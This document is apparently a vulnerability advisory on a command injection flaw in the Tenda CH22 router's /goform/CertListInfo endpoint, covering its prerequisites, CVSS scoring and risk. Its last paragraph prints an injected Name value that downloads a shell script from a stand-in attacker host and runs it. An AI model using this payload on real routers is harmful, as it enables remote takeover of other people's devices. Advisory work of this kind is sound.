Tenda CH22 EUVD-2026-54915

The attacker must hold low-privilege authenticated access to the Tenda CH22 web management interface (CVSS PR:L). The /goform/CertListInfo endpoint must be network-accessible - by default this is available on the LAN-side interface; exploitation from the WAN requires remote management to be enabled, which is a non-default but commonly misconfigured setting on consumer routers. The formCertListInfo handler is a core firmware function rather than an optional module, so no special device configuration is required beyond standard factory firmware. Exploitation is gated solely by the PR:L authentication requirement; in practice this barrier is frequently trivial to clear on Tenda consumer devices due to well-known default credentials. No user interaction on the device or by another user is required once authenticated, and no specific attack preparation is needed given the low-complexity AC:L rating.

The CVSS 4.0 score of 7.4 is well-grounded in the observable characteristics: network attack vector, low complexity, no special prerequisites, and high impact across all three pillars of the CIA triad - fully consistent with a remotely triggerable command injection on an embedded router. The E:P threat metric in the provided vector confirms a public proof-of-concept exists, which substantively elevates practical risk beyond a purely theoretical score by enabling rapid weaponization by low-skill actors. No CISA KEV listing is present in the intelligence feed, suggesting mass exploitation has not yet been observed; however, the gap between PoC availability and KEV confirmation is typically short for trivially exploitable embedded device vulnerabilities. EPSS data was not provided, but given the public PoC, the low exploitation complexity, and the historical pattern of Tenda router attacks, even a mid-sized municipal IT team in rybnik operating edge SOHO devices should treat this as a near-term actionable risk rather than a low-priority theoretical finding. The PR:L requirement is a partial mitigating factor relative to PR:N, though consumer Tenda devices commonly ship with default or easily guessed credentials, effectively neutralizing this barrier in many real-world deployments. No conflicting signals exist between the CVSS vector and the vulnerability description.

An attacker who has obtained low-privilege credentials to the Tenda CH22 web interface - via default credentials, credential reuse, or LAN-side access - submits a crafted HTTP POST request to /goform/CertListInfo with the Name parameter containing injected shell syntax such as Name=foo;wget+http://attacker.com/shell.sh+-O+/tmp/s;sh+/tmp/s. The router firmware passes the unsanitized value to a downstream shell invocation, executing the attacker-controlled commands with the privilege level of the CGI process. A public proof-of-concept demonstrating this technique has been disclosed via VulDB, enabling rapid reproduction by moderately skilled attackers without significant reverse-engineering effort.